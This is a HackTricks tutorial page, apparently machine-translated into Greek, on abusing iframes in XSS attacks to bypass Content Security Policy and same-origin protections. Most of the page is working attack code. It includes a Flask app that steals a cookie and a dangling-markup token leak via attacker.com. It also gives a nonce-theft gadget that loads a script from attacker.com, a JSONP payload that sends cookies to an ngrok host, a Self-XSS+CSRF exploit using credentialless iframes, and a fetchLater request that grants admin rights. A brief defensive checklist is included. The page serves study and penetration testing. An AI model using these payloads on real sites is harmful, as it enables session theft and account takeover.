Iframes in XSS, CSP and SOP
Reading time: 12 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Iframes in XSS
Υπάρχουν 3 τρόποι για να υποδείξετε το περιεχόμενο μιας σελίδας που είναι ενσωματωμένη σε iframe:
- Μέσω
src
που υποδεικνύει μια διεύθυνση URL (η διεύθυνση URL μπορεί να είναι διασυνοριακή ή ίδια προέλευση) - Μέσω
src
που υποδεικνύει το περιεχόμενο χρησιμοποιώντας το πρωτόκολλοdata:
- Μέσω
srcdoc
που υποδεικνύει το περιεχόμενο
Accesing Parent & Child vars
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
Αν αποκτήσετε πρόσβαση στο προηγούμενο html μέσω ενός http server (όπως το python3 -m http.server
) θα παρατηρήσετε ότι όλα τα scripts θα εκτελούνται (καθώς δεν υπάρχει CSP που να το αποτρέπει)., ο γονέας δεν θα μπορεί να έχει πρόσβαση στη μεταβλητή secret
μέσα σε οποιοδήποτε iframe και μόνο τα iframes if2 & if3 (τα οποία θεωρούνται ότι είναι στον ίδιο ιστότοπο) μπορούν να έχουν πρόσβαση στο secret στο αρχικό παράθυρο.
Σημειώστε πώς το if4 θεωρείται ότι έχει null
προέλευση.
Iframes με CSP
tip
Παρακαλώ, σημειώστε πώς στις παρακάτω παρακάμψεις η απάντηση στη σελίδα που είναι ενσωματωμένη σε iframe δεν περιέχει κανένα CSP header που να αποτρέπει την εκτέλεση JS.
Η τιμή self
του script-src
δεν θα επιτρέψει την εκτέλεση του JS κώδικα χρησιμοποιώντας το πρωτόκολλο data:
ή το χαρακτηριστικό srcdoc
.
Ωστόσο, ακόμη και η τιμή none
του CSP θα επιτρέψει την εκτέλεση των iframes που βάζουν μια διεύθυνση URL (ολόκληρη ή απλώς τη διαδρομή) στο χαρακτηριστικό src
.
Επομένως, είναι δυνατόν να παρακαμφθεί το CSP μιας σελίδας με:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Σημειώστε ότι η προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του ενσωματωμένου script.
Ωστόσο, μόνο τα scripts if1
και if2
θα εκτελούνται, αλλά μόνο το if1
θα μπορεί να έχει πρόσβαση στο γονικό μυστικό.
Επομένως, είναι δυνατόν να παρακαμφθεί μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe ακόμη και με script-src 'none'
. Αυτό μπορεί πιθανώς να γίνει επίσης εκμεταλλευόμενοι ένα endpoint JSONP της ίδιας τοποθεσίας.
Μπορείτε να το δοκιμάσετε με το παρακάτω σενάριο όπου ένα cookie κλέβεται ακόμη και με script-src 'none'
. Απλώς εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση σε αυτήν με τον περιηγητή σας:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Νέες (2023-2025) τεχνικές παράκαμψης CSP με iframes
Η ερευνητική κοινότητα συνεχίζει να ανακαλύπτει δημιουργικούς τρόπους κατάχρησης των iframes για να παρακάμψει περιοριστικές πολιτικές. Παρακάτω μπορείτε να βρείτε τις πιο αξιοσημείωτες τεχνικές που δημοσιεύθηκαν τα τελευταία χρόνια:
- Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Όταν μια εφαρμογή ανακλά HTML αλλά μια ισχυρή CSP μπλοκάρει την εκτέλεση σεναρίων, μπορείτε να διαρρεύσετε ευαίσθητους κωδικούς εισάγοντας ένα dangling
<iframe name>
attribute. Μόλις η μερική markup αναλυθεί, το σενάριο του επιτιθέμενου που εκτελείται σε διαφορετική προέλευση πλοηγεί το πλαίσιο στοabout:blank
και διαβάζει τοwindow.name
, το οποίο τώρα περιέχει τα πάντα μέχρι τον επόμενο χαρακτήρα εισαγωγής (για παράδειγμα, ένα CSRF token). Επειδή δεν εκτελείται JavaScript στο πλαίσιο του θύματος, η επίθεση συνήθως αποφεύγει τοscript-src 'none'
. Ένα ελάχιστο PoC είναι:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
- Nonce theft via same-origin iframe (2024) – Οι CSP nonces δεν αφαιρούνται από το DOM; απλώς κρύβονται στα DevTools. Εάν ένας επιτιθέμενος μπορεί να εισάγει ένα same-origin iframe (για παράδειγμα, ανεβάζοντας HTML στον ιστότοπο) το παιδικό πλαίσιο μπορεί απλά να ερωτήσει
document.querySelector('[nonce]').nonce
και να δημιουργήσει νέους κόμβους<script nonce>
που ικανοποιούν την πολιτική, δίνοντας πλήρη εκτέλεση JavaScript παρά τοstrict-dynamic
. Ο παρακάτω gadget κλιμακώνει μια εισαγωγή markup σε XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Form-action hijacking (PortSwigger 2024) – Μια σελίδα που παραλείπει την οδηγία
form-action
μπορεί να έχει τη φόρμα σύνδεσης re-targeted από ένα εισαγόμενο iframe ή inline HTML έτσι ώστε οι διαχειριστές κωδικών πρόσβασης να συμπληρώνουν αυτόματα και να υποβάλλουν τα διαπιστευτήρια σε έναν εξωτερικό τομέα, ακόμη και όταν υπάρχειscript-src 'none'
. Πάντα να συμπληρώνετε τοdefault-src
μεform-action
!
Αμυντικές σημειώσεις (γρήγορη λίστα ελέγχου)
- Πάντα να στέλνετε όλες τις οδηγίες CSP που ελέγχουν δευτερεύοντα πλαίσια (
form-action
,frame-src
,child-src
,object-src
, κ.λπ.). - Μην βασίζεστε στο ότι οι nonces είναι μυστικές—χρησιμοποιήστε
strict-dynamic
και εξαλείψτε τα σημεία εισαγωγής. - Όταν πρέπει να ενσωματώσετε μη αξιόπιστα έγγραφα, χρησιμοποιήστε
sandbox="allow-scripts allow-same-origin"
πολύ προσεκτικά (ή χωρίςallow-same-origin
αν χρειάζεστε μόνο απομόνωση εκτέλεσης σεναρίων). - Σκεφτείτε μια ανάπτυξη COOP+COEP με άμυνα σε βάθος; το νέο
<iframe credentialless>
attribute (§ παρακάτω) σας επιτρέπει να το κάνετε αυτό χωρίς να σπάσετε τις ενσωματώσεις τρίτων.
Άλλες Payloads που βρέθηκαν στην άγρια φύση
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Το περιεχόμενο μέσα σε ένα iframe μπορεί να υπόκειται σε επιπλέον περιορισμούς μέσω της χρήσης του χαρακτηριστικού sandbox
. Από προεπιλογή, αυτό το χαρακτηριστικό δεν εφαρμόζεται, πράγμα που σημαίνει ότι δεν υπάρχουν περιορισμοί.
Όταν χρησιμοποιείται, το χαρακτηριστικό sandbox
επιβάλλει αρκετούς περιορισμούς:
- Το περιεχόμενο αντιμετωπίζεται σαν να προέρχεται από μια μοναδική πηγή.
- Οποιαδήποτε προσπάθεια υποβολής φορμών αποκλείεται.
- Η εκτέλεση σεναρίων απαγορεύεται.
- Η πρόσβαση σε ορισμένα APIs είναι απενεργοποιημένη.
- Αποτρέπει τους συνδέσμους από το να αλληλεπιδρούν με άλλα περιβάλλοντα περιήγησης.
- Η χρήση plugins μέσω των
<embed>
,<object>
,<applet>
ή παρόμοιων ετικετών απαγορεύεται. - Η πλοήγηση του περιεχομένου στο ανώτατο επίπεδο περιβάλλοντος περιήγησης από το ίδιο το περιεχόμενο αποτρέπεται.
- Λειτουργίες που ενεργοποιούνται αυτόματα, όπως η αναπαραγωγή βίντεο ή η αυτόματη εστίαση ελέγχων φορμών, αποκλείονται.
Tip: Οι σύγχρονοι περιηγητές υποστηρίζουν λεπτομερείς σημαίες όπως allow-scripts
, allow-same-origin
, allow-top-navigation-by-user-activation
, allow-downloads-without-user-activation
, κ.λπ. Συνδυάστε τις για να παραχωρήσετε μόνο τις ελάχιστες δυνατότητες που απαιτούνται από την ενσωματωμένη εφαρμογή.
Η τιμή του χαρακτηριστικού μπορεί να αφεθεί κενή (sandbox=""
) για να εφαρμοστούν όλοι οι παραπάνω περιορισμοί. Εναλλακτικά, μπορεί να οριστεί σε μια λίστα συγκεκριμένων τιμών διαχωρισμένων με κενά που απαλλάσσουν το iframe από ορισμένους περιορισμούς.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
Credentialless iframes
Όπως εξηγείται σε αυτό το άρθρο, η σημαία credentialless
σε ένα iframe χρησιμοποιείται για να φορτώσει μια σελίδα μέσα σε ένα iframe χωρίς να στείλει διαπιστευτήρια στην αίτηση, διατηρώντας την πολιτική ίδιων προελεύσεων (SOP) της φορτωμένης σελίδας στο iframe.
Από Chrome 110 (Φεβρουάριος 2023, η δυνατότητα είναι ενεργοποιημένη από προεπιλογή και η προδιαγραφή τυποποιείται σε όλους τους περιηγητές υπό το όνομα anonymous iframe. Το MDN το περιγράφει ως: “ένας μηχανισμός για να φορτώνονται τρίτα iframes σε μια ολοκαίνουργια, εφήμερη αποθηκευτική διαίρεση, έτσι ώστε κανένα cookie, localStorage ή IndexedDB να μην μοιράζεται με την πραγματική προέλευση”. Συνεπειες για τους επιτιθέμενους και τους υπερασπιστές:
- Τα σενάρια σε διαφορετικά credentialless iframes συνεχίζουν να μοιράζονται την ίδια κορυφαία προέλευση και μπορούν να αλληλεπιδρούν ελεύθερα μέσω του DOM, καθιστώντας εφικτές τις επιθέσεις multi-iframe self-XSS (βλ. PoC παρακάτω).
- Επειδή το δίκτυο είναι credential-stripped, οποιοδήποτε αίτημα μέσα στο iframe συμπεριφέρεται αποτελεσματικά ως μη αυθεντικοποιημένη συνεδρία – οι προστατευμένες από CSRF τελικές σημεία συνήθως αποτυγχάνουν, αλλά οι δημόσιες σελίδες που είναι διαρρέουσες μέσω του DOM παραμένουν εντός πεδίου.
- Οι αναδυόμενες οθόνες που προέρχονται από ένα credentialless iframe αποκτούν μια έμμεση
rel="noopener"
, σπάζοντας ορισμένες ροές OAuth.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Παράδειγμα εκμετάλλευσης: Self-XSS + CSRF
Σε αυτή την επίθεση, ο επιτιθέμενος προετοιμάζει μια κακόβουλη ιστοσελίδα με 2 iframes:
- Ένα iframe που φορτώνει τη σελίδα του θύματος με τη σημαία
credentialless
με ένα CSRF που ενεργοποιεί ένα XSS (Φανταστείτε ένα Self-XSS στο όνομα χρήστη του χρήστη):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Ένα άλλο iframe που στην πραγματικότητα έχει τον χρήστη συνδεδεμένο (χωρίς τη σημαία
credentialless
).
Έτσι, από το XSS είναι δυνατή η πρόσβαση στο άλλο iframe καθώς έχουν την ίδια SOP και η κλοπή του cookie για παράδειγμα εκτελώντας:
alert(window.top[1].document.cookie);
fetchLater Attack
Όπως αναφέρεται σε αυτό το άρθρο, το API fetchLater
επιτρέπει τη ρύθμιση ενός αιτήματος να εκτελείται αργότερα (μετά από μια συγκεκριμένη χρονική περίοδο). Επομένως, αυτό μπορεί να καταχραστεί για παράδειγμα, να συνδεθεί ένα θύμα μέσα σε μια συνεδρία επιτιθέμενου (με Self-XSS), να ρυθμιστεί ένα αίτημα fetchLater
(για να αλλάξει τον κωδικό πρόσβασης του τρέχοντος χρήστη για παράδειγμα) και να αποσυνδεθεί από τη συνεδρία του επιτιθέμενου. Στη συνέχεια, το θύμα συνδέεται στη δική του συνεδρία και το αίτημα fetchLater
θα εκτελείται, αλλάζοντας τον κωδικό πρόσβασης του θύματος σε αυτόν που έχει ρυθμίσει ο επιτιθέμενος.
Με αυτόν τον τρόπο, ακόμη και αν η διεύθυνση URL του θύματος δεν μπορεί να φορτωθεί σε ένα iframe (λόγω CSP ή άλλων περιορισμών), ο επιτιθέμενος μπορεί να εκτελέσει ένα αίτημα στη συνεδρία του θύματος.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
Iframes στο SOP
Ελέγξτε τις παρακάτω σελίδες:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
Αναφορές
- PortSwigger Research – Χρησιμοποιώντας την κλοπή φορμών για να παρακάμψετε το CSP (Μάρτιος 2024)
- Chrome Developers – Iframe χωρίς διαπιστευτήρια: Εύκολη ενσωμάτωση iframes σε περιβάλλοντα COEP (Φεβ 2023)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.